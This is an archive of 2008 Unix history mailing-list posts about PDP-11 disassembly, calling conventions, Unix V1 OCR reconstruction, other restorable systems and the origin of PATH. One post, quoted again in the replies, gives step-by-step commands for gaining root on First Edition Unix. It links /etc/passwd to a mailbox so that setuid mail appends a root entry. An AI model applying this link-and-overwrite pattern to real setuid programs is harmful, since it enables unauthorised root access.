bump a count when the span starts and decrement when it ends.  I assign
labels using the count.

I have an example using ls I'll send in a bit.

-brad



From brad at heeltoe.com  Thu May 22 00:05:51 2008
From: brad at heeltoe.com (Brad Parker)
Date: Wed, 21 May 2008 10:05:51 -0400
Subject: [Unix-jun72] status on disassembler
In-Reply-To: <20080521074439.9D3575A52C@remarque.org> 
References: <20080521074439.9D3575A52C@remarque.org>
Message-ID: <31370.1211378751@mini>


Here's an example from 'ls'.  It's not ment to be good dis-assembly,
just a rough approximation, but it shows references and how the short
spans get used to assign labels.

ps: I'm not trying to write a disassembler.  This is from a binary code
recompilation hobby project.  It just happened that there was enough
info already in the code to figure out where the labels might go.

I'm happy to share the code if this would be helpful.

-brad

...
004374: span 4346 - 4376
004416: span 4410 - 4532
004436: span 4436 - 4446
004454: span 4434 - 4454
004456: span 4456 - 4476
...
local 4374; 1 (4346-4376)
assign1 4376; 1
assign1 4410; 0
assign1 4424; 0
assign1 4434; 0
local 4436; 1 (4436-4446)
assign1 4446; 2
assign1 4452; 1
local 4454; 1 (4434-4454)
local 4456; 0 (4456-4476)
assign1 4476; 1
...
004374: L1
 2 004376
 2 004346
004376: 
 1 004374
004410: 
 1 004416
004416: L2318
 2 004532
 2 004524
 2 004452
 2 004410
004424: 
 1 004602
004434: 
 1 004454
004436: L2
 2 004446
004446: 
 1 004436
004452: 
 1 004416
004454: L1
 2 004434
004456: L1
 2 004476
004476: 
 1 004456
...

 12    004370 000000 HALT R5
 12    004372 000207 RTS R5
1:
 12 -> 004374 112423 MOVB R4 R3
 13    004376 001376 BNE R3 ; (ref 4374, 1b)
 13    004400 005303 DEC R3
 13    004402 126327 CPMB R3 R7
              177777
       004406 000057 ?
 14    004410 001402 BEQ R7 ; (ref 4416, L2318)
 14    004412 112723 MOVB R7 R3
              000057
L2318:
 14 -> 004416 004567 JSR R7
              002722
 14    004422 044052 BIC R0 R2
 15    004424 103466 BLO R2 ; (ref 4602, L2434)
 15    004426 012746 MOV R7 R6
              000004
 15    004432 005700 TST R0
 16    004434 001007 BNE R0 ; (ref 4454, 1f)
2:
 16 -> 004436 004567 JSR R7
              002702
 16    004442 044052 BIC R0 R2
 16    004444 005316 DEC R6
 17    004446 001373 BNE R6 ; (ref 4436, 2b)
 17    004450 005726 TST R6
 18    004452 000761 BR R6 ; (ref 4416, L2318)
1:
 17 -> 004454 010302 MOV R3 R2
1:
 17 -> 004456 004567 JSR R7
              002662
 17    004462 044052 BIC R0 R2
 17    004464 010021 MOV R0 R1
 17    004466 110022 MOVB R0 R2
 17    004470 000300 SWAB R0
 17    004472 110022 MOVB R0 R2
 17    004474 005316 DEC R6
 18    004476 001367 BNE R6 ; (ref 4456, 1b)
 18    004500 005726 TST R6
 18    004502 105022 CLRB R2
 18    004504 005767 TST R7
              003232


From newsham at lava.net  Thu May 22 07:34:01 2008
From: newsham at lava.net (Tim Newsham)
Date: Wed, 21 May 2008 11:34:01 -1000 (HST)
Subject: [Unix-jun72] status on disassembler
In-Reply-To: <20080521074439.9D3575A52C@remarque.org>
References: <20080521074439.9D3575A52C@remarque.org>
Message-ID: <Pine.BSI.4.64.0805211129440.16752@malasada.lava.net>

> Thanks for the thought, but I don't think it is, quite, in part because
> of the presence of backward branches:
>
> 2:
> 	br	1f
> 	br	2b
> 1:
>
> Here the 2 could be a 1, despite overlapping ranges:
>
> 1:
> 	br	1f
> 	br	1b
> 1:

I think you can consider "1f" and "1b" to be two separate names for
the sake of the register coloring algorithm (both of which happen
to exist at the point where the "1:" label is defined).  In many
cases only the forward one will be live, in other cases only the
backward one will be live, but sometimes both will be live simultaneously.
This does add a slight difference to the graph because "1f" and "1b"
must be given the same number "1" when both are alive at the same
definition site.

> To further complicate things, it would be especially nice to allocate
> labels not just in a legal way (that preserves the semantics of the
> program), but actually in a way as similar as possible to the way that
> humans were doing so, for the sake of improved reconstruction. (A
> complication with *that* is that, in some cases, the labels are
> obviously subtopimal, presumably due to the historical sequence of edits.)

I think doing a minimum coloring will be pretty close to what a human
would do.  If you want to, you can try to swap around labels so that
the outter most labels have low numbers and the inner labels (nested
inside loops) have the higher numbers...

Tim Newsham
http://www.thenewsh.com/~newsham/


From andreww591 at gmail.com  Thu May 22 13:05:09 2008
From: andreww591 at gmail.com (Andrew Warkentin)
Date: Wed, 21 May 2008 21:05:09 -0600
Subject: [Unix-jun72] Semi-OT: Other systems to reconstruct?
Message-ID: <4834E2E5.20302@gmail.com>

With the successful restoration of Unix V1, I was thinking of other
operating systems that could be restored in a similar way. The most
historically significant would probably be CTSS. The SIMH IBM 7094
simulator has everything necessary to run CTSS implemented already,
although the CTSS-specific stuff is untested (since as far as I know,
nobody has booted CTSS in it yet) and may need some patching.

There are several tapes of listings (for almost all of the system), and
a few tapes of binaries (one with supervisor binaries, and one with
"standalone" utilities, but nothing with user-mode programs) available.
The listings need to be converted back into source that can be assembled
or compiled. Part of this can be done automatically (I have written some
dumb scripts to do this), but there will likely be quite a bit of manual
editing involved. There is nothing to be OCRed, since everything is on 
magtapes.

Most of the source is either assembly or MAD (an Algol-58 dialect), with
a few files in AED (another Algol dialect, for which no compiler appears
to have survived). Restoring the assembler stuff should be easy (there
exists a cross-assembler which would work), but restoring the MAD stuff
will be a little bit harder. There is no cross-compiler for it (there is
a compiler that runs under IBSYS, but it is probably just for an IBSYS
target, and I'm not sure if anyone has even figured out how to run it).
The AED stuff will have to be rewritten in MAD (which shouldn't be
especially hard, since AED and MAD are somewhat similar). Only a few
non-essential programs are written in AED.

I think that all (or at least most of) the stuff required for booting is
written in assembler, so the best way to get it working would be get a
minimal system booting (I suspect all that is necessary is the
supervisor, so the binaries on the tape might be of use), and run the
CTSS MAD compiler under it to compile all the MAD stuff (which includes
many of the "core" commands).

I'm not sure what the best way to get stuff into a filesystem is. The
standalone utilities run under FMS, and there is no bootable FMS tape.
There is a version of FMS that runs under IBSYS, but for some reason, it
  returns an error when attempting to load the utilities off the tape.
It  is probably possible to patch it to fix that bug, though. It would
also work to write utilities that run on the host system, much like what
was done for Unix V1 (although I think that fixing the bug in FMS would
probably be easier).

Maybe I should start a Sourceforge project.


Another, much simpler, system which might be possible to restore is
MUMPS-15, for which a PDF of a paper listing is available on bitsavers.
Restoring it would probably just be a matter of OCRing, correcting, and
assembling it (and maybe writing a bootstrap).



From aek at bitsavers.org  Fri May 23 02:01:20 2008
From: aek at bitsavers.org (Al Kossow)
Date: Thu, 22 May 2008 09:01:20 -0700
Subject: [Unix-jun72] Semi-OT: Other systems to reconstruct?
In-Reply-To: <4834E2E5.20302@gmail.com>
References: <4834E2E5.20302@gmail.com>
Message-ID: <483598D0.8070009@bitsavers.org>

Andrew Warkentin wrote:
> With the successful restoration of Unix V1, I was thinking of other
> operating systems that could be restored in a similar way.

There is no shortage of systems that could be worked on.
The Berkeley GENIE SDS 940 system, for example. Machine readable
sources exist, but no drum image, so it would have to be reassembled
from the existing binaries, and cross-assembled to get the rest.

I'm hoping to recover a bunch of system tapes for the B5700 soon.

Someone else I know has been trying to get the Stretch system software
running again from listings.




From spedraja at gmail.com  Fri May 23 02:52:36 2008
From: spedraja at gmail.com (Sergio Pedraja)
Date: Thu, 22 May 2008 18:52:36 +0200
Subject: [Unix-jun72] Semi-OT: Other systems to reconstruct?
In-Reply-To: <483598D0.8070009@bitsavers.org>
References: <4834E2E5.20302@gmail.com> <483598D0.8070009@bitsavers.org>
Message-ID: <f7f1e0d30805220952s765c2082h5d8380c459f97d3c@mail.gmail.com>

Stretch ? Where ? :-)

But Seriously, this would be particularly a goal similar to CTSS. About the
SDS... Where can be obtained the sources ? Is it the SIMH a good way to do
this job ?

Greetings
Sergio

2008/5/22 Al Kossow <aek at bitsavers.org>:

> Andrew Warkentin wrote:
> > With the successful restoration of Unix V1, I was thinking of other
> > operating systems that could be restored in a similar way.
>
> There is no shortage of systems that could be worked on.
> The Berkeley GENIE SDS 940 system, for example. Machine readable
> sources exist, but no drum image, so it would have to be reassembled
> from the existing binaries, and cross-assembled to get the rest.
>
> I'm hoping to recover a bunch of system tapes for the B5700 soon.
>
> Someone else I know has been trying to get the Stretch system software
> running again from listings.
>
>
> _______________________________________________
> Unix-jun72 mailing list
> Unix-jun72 at tuhs.org
> https://minnie.tuhs.org/mailman/listinfo/unix-jun72
>
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://minnie.tuhs.org/pipermail/tuhs/attachments/20080522/c9bae3e3/attachment.html>

From nao at tom-yam.or.jp  Thu May  1 00:41:17 2008
From: nao at tom-yam.or.jp (Naoki Hamada)
Date: Wed, 30 Apr 2008 23:41:17 +0900
Subject: [TUHS] Query on PDP-11 assembly
In-Reply-To: <48187A41.80105@coraid.com>
References: <20080430115651.GA86539@minnie.tuhs.org>
	<48187A41.80105@coraid.com>
Message-ID: <2da2ec620804300741i1bd39a48lf5b5ba09830793b4@mail.gmail.com>

Hi,

This technique was a very common one in assembler sources for PDP-11
versions of UNIX. For example, m40.s of Version 6 UNIX shows a line
"jsr     r0,call1; _trap" in its trap routine. I feel very funny to
tell this to Warren, the author of apout!

Anyway, it could be a source of the null-terminated expression of
character strings of the C language, I guess.

Naoki Hamada
nao at tom-yam.or.jp


From jam at magic.com  Thu May  1 02:20:08 2008
From: jam at magic.com (James A. Markevitch)
Date: Wed, 30 Apr 2008 09:20:08 -0700 (PDT)
Subject: [TUHS] Query on PDP-11 assembly
Message-ID: <200804301620.JAA10112@mist.magic.com>

> I can happily deal with the   jsr pc,do   type of jsr, but the ones
> involving r5 have me stumped, e.g.:
> 
>         jsr     r5,questf; < nonexistent\n\0>; .even

I have encountered this type of construct a lot when doing disassemblers
over the years.  My usual strategy for dealing with this is:

1. If it's quick and dirty and I am not running huge amounts of code,
then the disassembler allows the user to provide a list of "hints" to
it.  The hints for this would describe the arguments to each subroutine.
For illustrative purposes, you might have a side file that contains
the following:

	subr 002004 questf string

meaning that location 002004 is a subroutine names questf that expects
a null-terminated string as the argument.  As an additional benefit,
you get a nice name for the subroutine that the disassembler can put
into the output.

And if a subroutine takes two 16-bit arguments, you might have:

	subr 003436 mysub arg16 arg16

If the disassembler identifies each of the targets of the jsr
instructions, then you can usually do a quick look at the code to
see what it expects, then add to the side file, then re-run the
disassembler.

2. If you want to be less quick and dirty, you can have the disassembler
do a partial flow analysis of the code to figure out what is expected
for arguments.  This is usually much more involved and you still often
need to add hints for cases where the '60s or '70s programmer did some
kind of "neat trick" when coding.

My philosophy on these is to use tools to get to the 95%+ level of
automation and provide hints to pick up the rest.  Using strategy
number 1 above will probably get you a lot of success with a small
amount of coding in your disassembler.

James Markevitch


From milov at uwlax.edu  Thu May  1 02:53:52 2008
From: milov at uwlax.edu (Milo Velimirovic)
Date: Wed, 30 Apr 2008 11:53:52 -0500
Subject: [TUHS] Query on PDP-11 assembly
In-Reply-To: <48187A41.80105@coraid.com>
References: <20080430115651.GA86539@minnie.tuhs.org>
	<48187A41.80105@coraid.com>
Message-ID: <2B09A491-EB29-476C-B88E-27BA9D953BA6@uwlax.edu>

A subprogram using this calling convention would look something like  
this:

questf:	mov (r5)+,r0
	/ play with string pointed to by r0.
	rts r5

On Apr 30, 2008, at 8:55 AM, Brantley Coile wrote:

> In your example, -(sp) = r5; r5 = pc; pc = guestf.
> Guestf will have to bump r5 as in consumes the parameters.
> Rts r5 means pc = r5; r5 = (sp)+.
>
> Hope this helps.
>
> Warren Toomey wrote:
>> All, I'm trying to write a PDP-11 disassembler for a.out files. I'm  
>> having
>> trouble dealing with jsrs. Take, for example, the code here:
>> http://minnie.tuhs.org/UnixTree/1972_stuff/s1/frag19.html
>>
>> I can happily deal with the   jsr pc,do   type of jsr, but the ones
>> involving r5 have me stumped, e.g.:
>>
>> 	jsr	r5,questf; < nonexistent\n\0>; .even
>>
>> It appears that data is being inserted into the executable directly
>> after the jsr instruction. How does the rts which returns from the  
>> jsr
>> know how much data to skip, and what is the involvement of r5 here?

The rts doesn't know anything about how much data to skip. In this  
snippet r5 is a linkage register that's doing double duty: it's both  
an argument pointer to the location immediately following the jsr and  
once r5 has been adjusted to point to the location after the argument  
list it becomes a return address. This programming technique is  
dependent on the subprogram and its callers agreeing on the number of  
arguments though it's possible to do a vararg style as well. It's  
necessary for the subprogram to pick up the arguments and adjust the  
linkage register accordingly AND to return to the caller with the same  
register named in the rts instruction as was used in the calling jsr.

/ variable argument list with linkage register
	jsr r5,some_fn; $argc; arg1; arg2; ... argn

/ in the function it's necessary to pick up all the args

some_fn: mov	(r5)+,r0	/ pick up argc
	beq	2f		/ if no arguments, process simplest case.
1:
/ pick up an argument:
	mov	(r5)+, somewhere
/ or
	mov	*(r5)+, somewhere
	...
	dec	r0
	bne	1b	/ process remaining arguments.
2:	...
	rts r5


I've seen other ways of processing arguments passed with this method  
that involved using indexing and adding the argument count to the  
linkage register. Tastes and mileage may vary.

Regards,
Milo

--
Milo Velimirović,  Unix Computer Network Administrator
608.785.6618 Office -  608.386.2817 Cell
University of Wisconsin - La Crosse
La Crosse, Wisconsin 54601 USA   43 48 48 N 91 13 53 W





From lm at bitmover.com  Thu May  1 03:00:06 2008
From: lm at bitmover.com (Larry McVoy)
Date: Wed, 30 Apr 2008 10:00:06 -0700
Subject: [TUHS] Query on PDP-11 assembly
In-Reply-To: <2B09A491-EB29-476C-B88E-27BA9D953BA6@uwlax.edu>
References: <20080430115651.GA86539@minnie.tuhs.org>
	<48187A41.80105@coraid.com>
	<2B09A491-EB29-476C-B88E-27BA9D953BA6@uwlax.edu>
Message-ID: <20080430170006.GB11943@bitmover.com>

On Wed, Apr 30, 2008 at 11:53:52AM -0500, Milo Velimirovic wrote:
> A subprogram using this calling convention would look something like  
> this:
> 
> questf:	mov (r5)+,r0
> 	/ play with string pointed to by r0.
> 	rts r5

It warms my heart to see pdp-11 assembly again.  What a pleasant instruction
set.  m68k was close but already starting to get weird and x86 is the pits.
-- 
---
Larry McVoy                lm at bitmover.com           http://www.bitkeeper.com


From cowan at ccil.org  Thu May  1 03:47:39 2008
From: cowan at ccil.org (John Cowan)
Date: Wed, 30 Apr 2008 13:47:39 -0400
Subject: [TUHS] Query on PDP-11 assembly
In-Reply-To: <20080430170006.GB11943@bitmover.com>
References: <20080430115651.GA86539@minnie.tuhs.org>
	<48187A41.80105@coraid.com>
	<2B09A491-EB29-476C-B88E-27BA9D953BA6@uwlax.edu>
	<20080430170006.GB11943@bitmover.com>
Message-ID: <20080430174739.GC4759@mercury.ccil.org>

Larry McVoy scripsit:

> It warms my heart to see pdp-11 assembly again.  What a pleasant instruction
> set.

Indeed.  PDP-8 and PDP-11 assembly are the only assembly languages I've
ever used, and I liked both of them a lot.

-- 
John Cowan   <cowan at ccil.org>   http://www.ccil.org/~cowan
One time I called in to the central system and started working on a big
thick 'sed' and 'awk' heavy duty data bashing script.  One of the geologists
came by, looked over my shoulder and said 'Oh, that happens to me too.
Try hanging up and phoning in again.'  --Beverly Erlebacher


From lm at bitmover.com  Thu May  1 03:59:41 2008
From: lm at bitmover.com (Larry McVoy)
Date: Wed, 30 Apr 2008 10:59:41 -0700
Subject: [TUHS] Query on PDP-11 assembly
In-Reply-To: <20080430174739.GC4759@mercury.ccil.org>
References: <20080430115651.GA86539@minnie.tuhs.org>
	<48187A41.80105@coraid.com>
	<2B09A491-EB29-476C-B88E-27BA9D953BA6@uwlax.edu>
	<20080430170006.GB11943@bitmover.com>
	<20080430174739.GC4759@mercury.ccil.org>
Message-ID: <20080430175941.GC11943@bitmover.com>

On Wed, Apr 30, 2008 at 01:47:39PM -0400, John Cowan wrote:
> Larry McVoy scripsit:
> 
> > It warms my heart to see pdp-11 assembly again.  What a pleasant instruction
> > set.
> 
> Indeed.  PDP-8 and PDP-11 assembly are the only assembly languages I've
> ever used, and I liked both of them a lot.

I had a TA that could read PDP-11 octal the way other people read C.
I used to go over to his apartment with a listing and a 6-pack and
let him debug (lazy bastard that I was :)  Ken Witte, wonder where 
he is now.  Well there he is: http://www.linkedin.com/pub/4/B08/637
-- 
---
Larry McVoy                lm at bitmover.com           http://www.bitkeeper.com


From carl.lowenstein at gmail.com  Thu May  1 01:08:51 2008
From: carl.lowenstein at gmail.com (Carl Lowenstein)
Date: Wed, 30 Apr 2008 08:08:51 -0700
Subject: [TUHS] Query on PDP-11 assembly
In-Reply-To: <20080430115651.GA86539@minnie.tuhs.org>
References: <20080430115651.GA86539@minnie.tuhs.org>
Message-ID: <5904d5730804300808p59690427rf088e841354a41ec@mail.gmail.com>

On Wed, Apr 30, 2008 at 4:56 AM, Warren Toomey <wkt at tuhs.org> wrote:
> All, I'm trying to write a PDP-11 disassembler for a.out files. I'm having
>  trouble dealing with jsrs. Take, for example, the code here:
>  http://minnie.tuhs.org/UnixTree/1972_stuff/s1/frag19.html
>
>  I can happily deal with the   jsr pc,do   type of jsr, but the ones
>  involving r5 have me stumped, e.g.:
>
>         jsr     r5,questf; < nonexistent\n\0>; .even
>
>  It appears that data is being inserted into the executable directly
>  after the jsr instruction. How does the rts which returns from the jsr
>  know how much data to skip, and what is the involvement of r5 here?

Standard subroutine calling sequence.

The called routine must know how many parameters it is called with.
It retrieves them by MOV (R5)+, <somewhere>.
This advances R5 so that eventually it points to the return address,
and the return is done as RTS R5.

A more advanced calling sequence could insert the number of parameters
as the first value after the JSR, and the called routine would then
retrieve that number and use it to tell when it had fetched the right
amount of data.

    carl
-- 
    carl lowenstein         marine physical lab     u.c. san diego
                                                 clowenstein at ucsd.edu


From jam at magic.com  Thu May  1 17:40:29 2008
From: jam at magic.com (James A. Markevitch)
Date: Thu, 1 May 2008 00:40:29 -0700 (PDT)
Subject: [TUHS] Update on UNIX V1 OCR
Message-ID: <200805010740.AAA12754@mist.magic.com>

I got a chance to do some work on the UNIX V1 sources this evening.  I
took the output of my OCR software and with a couple of hours of editing,
it successfully assembles with a MACRO11 assembler modified for "as" syntax,
with the only exception being that "fpsym" is undefined.  It looks like
the floating point emulation code is missing.

Since this OCR is independent of the other work that has been done, a
diff should provide an opportunity to fix any errors in the comments
that would not have been caught by the assembler.

Is there a place to upload this without a Google account?  The assembler
listing is about 416K.

I wrote much of the bootstrap code a few weeks ago, so it ought to be
straightforward to get this up and running under simulation.

James Markevitch


From andreww591 at gmail.com  Thu May  1 18:03:39 2008
From: andreww591 at gmail.com (Andrew Warkentin)
Date: Thu, 01 May 2008 02:03:39 -0600
Subject: [TUHS] PDP-7 Unix listings?
Message-ID: <4819795B.9010009@gmail.com>

A while ago, I heard someone (I can't remember who) say that he had a 
paper listing of (at least part of) PDP-7 Unix. How much is there in the 
way of surviving listings of PDP-7 Unix (if any)? With all of the 
discussion of OCRing the V1 Unix kernel listing, I was wondering if 
something similar could be done with PDP-7 Unix if enough listings have 
survived (which is sort of unlikely, but you never know).


From brad at heeltoe.com  Thu May  1 20:46:38 2008
From: brad at heeltoe.com (Brad Parker)
Date: Thu, 01 May 2008 06:46:38 -0400
Subject: [TUHS] [Unix-jun72] Update on UNIX V1 OCR
In-Reply-To: <200805010740.AAA12754@mist.magic.com> 
References: <200805010740.AAA12754@mist.magic.com>
Message-ID: <23840.1209638798@mini>


"James A. Markevitch" wrote:
>
>Since this OCR is independent of the other work that has been done, a
>diff should provide an opportunity to fix any errors in the comments
>that would not have been caught by the assembler.
>
>Is there a place to upload this without a Google account?  The assembler
>listing is about 416K.

If you email me a tar file (or zip) I can put it on my website.  I can
receive email up to about 10mb. If it's larger than that I can set up
with an ftp account.

I'd also be happy to write a script to diff the files.

>I wrote much of the bootstrap code a few weeks ago, so it ought to be
>straightforward to get this up and running under simulation.

yes - I found a program I wrote a while back which takes an a.out and
turns it into a simh "load format".  With that it's pretty easy to load
and go in simh.

The v1 man pages explain the "bos" load setup and give the rf bootstrap
code.  It should be pretty easy to boot up a "cold" version which preps
the RF. I'm not sure about loading the file system from dectape however,
but who knows, even that might be possible.

-brad


From jam at magic.com  Fri May  2 02:36:42 2008
From: jam at magic.com (James A. Markevitch)
Date: Thu, 1 May 2008 09:36:42 -0700 (PDT)
Subject: [TUHS] [Unix-jun72] Update on UNIX V1 OCR
Message-ID: <200805011636.JAA15648@mist.magic.com>

> >Since this OCR is independent of the other work that has been done, a
> >diff should provide an opportunity to fix any errors in the comments
> >that would not have been caught by the assembler.
> >
> >Is there a place to upload this without a Google account?  The assembler
> >listing is about 416K.
> 
> If you email me a tar file (or zip) I can put it on my website.  I can
> receive email up to about 10mb. If it's larger than that I can set up
> with an ftp account.

A compressed .tar.gz won't be very large.  I can send it along when I get
home late this evening.  It's got 100% of the kernel source pages, so
it should be able to fill in any holes.

> I'd also be happy to write a script to diff the files.

"diff -b" works fine, as does tkdiff :-).

James Markevitch


From wkt at tuhs.org  Fri May  2 09:47:21 2008
From: wkt at tuhs.org (Warren Toomey)
Date: Fri, 2 May 2008 09:47:21 +1000
Subject: [TUHS] Query on PDP-11 assembly
In-Reply-To: <2da2ec620804300741i1bd39a48lf5b5ba09830793b4@mail.gmail.com>
References: <20080430115651.GA86539@minnie.tuhs.org>
	<48187A41.80105@coraid.com>
	<2da2ec620804300741i1bd39a48lf5b5ba09830793b4@mail.gmail.com>
Message-ID: <20080501234721.GA77412@minnie.tuhs.org>

On Wed, Apr 30, 2008 at 11:41:17PM +0900, Naoki Hamada wrote:
> This technique was a very common one in assembler sources for PDP-11
> versions of UNIX. For example, m40.s of Version 6 UNIX shows a line
> "jsr     r0,call1; _trap" in its trap routine. I feel very funny to
> tell this to Warren, the author of apout!

Well, I borrowed the PDP-11 instruction simulaton code from Eric Edwards,
and spent most of my time on emulating the syscalls, so there are still
things I don't know!

I've got the disassembler to a point where it works OK on the instructions,
I haven't worked on the data side yet. I have put it aside for a bit, due
to increasing frustration levels and other things to do. If someone wants
a copy, e-mail me.

Thanks for all your responses, they were very useful.

Cheers,
	Warren


From wkt at tuhs.org  Sat May  3 14:45:19 2008
From: wkt at tuhs.org (Warren Toomey)
Date: Sat, 3 May 2008 14:45:19 +1000
Subject: [TUHS] PATH variable
In-Reply-To: <20080502.221259.74661438.imp@bsdimp.com>
References: <Pine.BSI.4.64.0805021721570.20114@malasada.lava.net>
	<Pine.BSI.4.64.0805021724400.20114@malasada.lava.net>
	<20080502.221259.74661438.imp@bsdimp.com>
Message-ID: <20080503044519.GA43894@minnie.tuhs.org>

On Fri, May 02, 2008 at 10:12:59PM -0600, Warner Losh wrote:
> So when did the PATH variable get introduced?

The 1e manual says: If the 1st argument represents the path name of an
executable file, it is invoked; otherwise the string "/bin/" is prepended
to the argument. In this way the standard commands, which reside in "/bin"
are found.

The 3e manual extends the above: If no such command is found,
the string "/usr" is further prepended (to give "/usr/bin/command") and
another attempt is made to execute the resulting file. (Certain "overflow"
commands live in "/usr/bin".)  If the "/usr/bin" file exists, but is not
executable, it is used by the shell as a command file.
That is to say it is executed as though it were typed from the console.

Manuals for 4e, 5e and 6e all say the above. The 7th Edition manual is
the first to say:

The shell parameter $PATH defines the search path for the directory containing
the command. Each alternative directory name is separated by a colon (:)
The default path is :/bin:/usr/bin. If the command name contains a / then the
search path is not used. Otherwise, each directory in the path is searched for
an executable file. If the file has execute permission but is not an
a.out file, it is assumed to be a file containing shell commands.

Cheers,
	Warren


From newsham at lava.net  Sun May  4 05:20:13 2008
From: newsham at lava.net (Tim Newsham)
Date: Sat, 3 May 2008 09:20:13 -1000 (HST)
Subject: [TUHS] Some fun with 1st ed
Message-ID: <Pine.BSI.4.64.0805030914410.20114@malasada.lava.net>

All work and no play...

Here's a fun hack for first edition unix.  From MAIL (I) :

   When followed by the names of a letter and one or more people, the
   letter is appended to each person's mailbox.  Each letter is
   preceded by the sender's name and a postmark.

   A person is either the nameof an entry in the directory /usr, in
   which case the mail is sent to /usr/person/mailbox, or the path
   of a directory, in which case mailbox in that directory is used.

Mail is setuid root:

# ls -l /bin/mail
  80 surwr-  1 root   3940 Jan  1 00:00:00 mail

login as a non-root user (ie "bin"), create a file "letter" with the 
contents "hack::0:/:".  Run:

    @ ln /etc/passwd /tmp/mailbox
    @ mail letter /tmp

log out and log back in as "hack".  You are now root.  Cat /etc/passwd
and notice:

   From bin Jan  1 00:49:22
   hack::0:/:

clean up the file a little and enjoy your new elevated status.

Tim Newsham
http://www.thenewsh.com/~newsham/


From lm at bitmover.com  Sun May  4 05:24:00 2008
From: lm at bitmover.com (Larry McVoy)
Date: Sat, 3 May 2008 12:24:00 -0700
Subject: [TUHS] Some fun with 1st ed
In-Reply-To: <Pine.BSI.4.64.0805030914410.20114@malasada.lava.net>
References: <Pine.BSI.4.64.0805030914410.20114@malasada.lava.net>
Message-ID: <20080503192359.GA11882@bitmover.com>

We need to send out a security alert immediately.  This is serious.

On Sat, May 03, 2008 at 09:20:13AM -1000, Tim Newsham wrote:
> All work and no play...
> 
> Here's a fun hack for first edition unix.  From MAIL (I) :
> 
>    When followed by the names of a letter and one or more people, the
>    letter is appended to each person's mailbox.  Each letter is
>    preceded by the sender's name and a postmark.
> 
>    A person is either the nameof an entry in the directory /usr, in
>    which case the mail is sent to /usr/person/mailbox, or the path
>    of a directory, in which case mailbox in that directory is used.
> 
> Mail is setuid root:
> 
> # ls -l /bin/mail
>   80 surwr-  1 root   3940 Jan  1 00:00:00 mail
> 
> login as a non-root user (ie "bin"), create a file "letter" with the 
> contents "hack::0:/:".  Run:
> 
>     @ ln /etc/passwd /tmp/mailbox
>     @ mail letter /tmp
> 
> log out and log back in as "hack".  You are now root.  Cat /etc/passwd
> and notice:
> 
>    From bin Jan  1 00:49:22
>    hack::0:/:
> 
> clean up the file a little and enjoy your new elevated status.
> 
> Tim Newsham
> http://www.thenewsh.com/~newsham/
> _______________________________________________
> TUHS mailing list
> TUHS at minnie.tuhs.org
> https://minnie.tuhs.org/mailman/listinfo/tuhs

-- 
---
Larry McVoy                lm at bitmover.com           http://www.bitkeeper.com


From newsham at lava.net  Sun May  4 05:34:14 2008
From: newsham at lava.net (Tim Newsham)
Date: Sat, 3 May 2008 09:34:14 -1000 (HST)
Subject: [TUHS] Some fun with 1st ed
In-Reply-To: <20080503192943.GC69106@freebie.xs4all.nl>
References: <Pine.BSI.4.64.0805030914410.20114@malasada.lava.net>
	<20080503192359.GA11882@bitmover.com>
	<20080503192943.GC69106@freebie.xs4all.nl>
Message-ID: <Pine.BSI.4.64.0805030933170.20114@malasada.lava.net>

> Quoting Larry McVoy, who wrote on Sat, May 03, 2008 at 12:24:00PM -0700 ..
>> We need to send out a security alert immediately.  This is serious.
>
> CERT to the rescue!  Man the barricades !

I did this once with a 7th edition vuln.  I think one is probably the 
limit :)

     http://www.securityfocus.com/archive/1/365038

>> Larry McVoy                lm at bitmover.com           http://www.bitkeeper.com
> Wilko

Tim Newsham
http://www.thenewsh.com/~newsham/


From wb at freebie.xs4all.nl  Sun May  4 05:29:43 2008
From: wb at freebie.xs4all.nl (Wilko Bulte)
Date: Sat, 3 May 2008 21:29:43 +0200
Subject: [TUHS] Some fun with 1st ed
In-Reply-To: <20080503192359.GA11882@bitmover.com>
References: <Pine.BSI.4.64.0805030914410.20114@malasada.lava.net>
	<20080503192359.GA11882@bitmover.com>
Message-ID: <20080503192943.GC69106@freebie.xs4all.nl>

Quoting Larry McVoy, who wrote on Sat, May 03, 2008 at 12:24:00PM -0700 ..
> We need to send out a security alert immediately.  This is serious.

CERT to the rescue!  Man the barricades ! 

;-)

> On Sat, May 03, 2008 at 09:20:13AM -1000, Tim Newsham wrote:
> > All work and no play...
> > 
> > Here's a fun hack for first edition unix.  From MAIL (I) :
> > 
> >    When followed by the names of a letter and one or more people, the
> >    letter is appended to each person's mailbox.  Each letter is
> >    preceded by the sender's name and a postmark.
> > 
> >    A person is either the nameof an entry in the directory /usr, in
> >    which case the mail is sent to /usr/person/mailbox, or the path
> >    of a directory, in which case mailbox in that directory is used.
> > 
> > Mail is setuid root:
> > 
> > # ls -l /bin/mail
> >   80 surwr-  1 root   3940 Jan  1 00:00:00 mail
> > 
> > login as a non-root user (ie "bin"), create a file "letter" with the 
> > contents "hack::0:/:".  Run:
> > 
> >     @ ln /etc/passwd /tmp/mailbox
> >     @ mail letter /tmp
> > 
> > log out and log back in as "hack".  You are now root.  Cat /etc/passwd
> > and notice:
> > 
> >    From bin Jan  1 00:49:22
> >    hack::0:/:
> > 
> > clean up the file a little and enjoy your new elevated status.
> > 
> > Tim Newsham
> > http://www.thenewsh.com/~newsham/
> > _______________________________________________
> > TUHS mailing list
> > TUHS at minnie.tuhs.org
> > https://minnie.tuhs.org/mailman/listinfo/tuhs
> 
> -- 
> ---
> Larry McVoy                lm at bitmover.com           http://www.bitkeeper.com
> _______________________________________________
> TUHS mailing list
> TUHS at minnie.tuhs.org
> https://minnie.tuhs.org/mailman/listinfo/tuhs
--- end of quoted text ---

-- 
Wilko


From newsham at lava.net  Sun May  4 16:29:06 2008
From: newsham at lava.net (Tim Newsham)
Date: Sat, 3 May 2008 20:29:06 -1000 (HST)
Subject: [TUHS] comparing s1 frags, s2 bits, 1ed and jun72 print out
In-Reply-To: <Pine.BSI.4.64.0805031923530.20114@malasada.lava.net>
References: <Pine.BSI.4.64.0805031915580.20114@malasada.lava.net>
	<Pine.BSI.4.64.0805031923530.20114@malasada.lava.net>
Message-ID: <Pine.BSI.4.64.0805032023420.20114@malasada.lava.net>

Some notes about the s1 frags in the 1972_stuff archive in relation
to 1st edition manual, s2 files and the jun72 printout:

- s1 init mounts several filesystems and runs several commands directly.
   s2 init doesn't mount anything.  init.s in the jun72 printout mounts
   /usr.  The 1ed manual describes init as mounting an rk disk on /usr.
- init.s uses syscall to get console switches.  The s2 init and the
   init.s in jun72 printout read them directly.
   S1 uses syscall 38.  jun72 printout only has syscalls through 33.
   1ed manual only lists syscalls through 33 (SYS ILGINS (II)).
